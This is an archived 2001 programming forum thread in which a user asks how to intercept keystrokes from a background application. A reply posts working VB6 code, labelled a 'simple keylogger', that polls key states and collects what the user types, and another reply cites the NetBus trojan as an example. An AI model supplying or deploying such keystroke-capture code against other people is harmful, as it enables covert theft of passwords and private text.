Click to See Complete Forum and Search --> : Keyboard
Gush
Sep 2nd, 2001, 02:06 PM
Hi all,
How can I not let a key stroke to reach to an application.
In other workd, can I consume a keyboard input before reaching other applications.
P.S.: My application is running in the backgound.
assbeef
Sep 2nd, 2001, 10:29 PM
I searched for a long time but I couldn't find squat. I know such a thing exists. I mean you can do it through NetBus, so it must be possible.
Vlatko
Sep 3rd, 2001, 06:06 AM
Not to let a key reach an app you need to install a global hook ( you need a C++, asm or delphi standarad windows dll). To consume a keyboard input but not stopping it from going to other apps make a simple keylogger
'In a module
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
'In a form
Private Sub Form_Load()
Me.Caption = "Key Spy"
'Create an API-timer
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Kill our API-timer
KillTimer Me.hwnd, 0
'Show all the typed keys
MsgBox sSave
End Sub
DaoK
Sep 9th, 2001, 01:26 PM
Why I see nothing in the message box?
Vlatko
Sep 9th, 2001, 03:22 PM
Use this declarations
Global Cnt As Long, sSave As String, sOld As String, Ret As String
vbforums.com
Copyright Internet.com Inc., All Rights Reserved.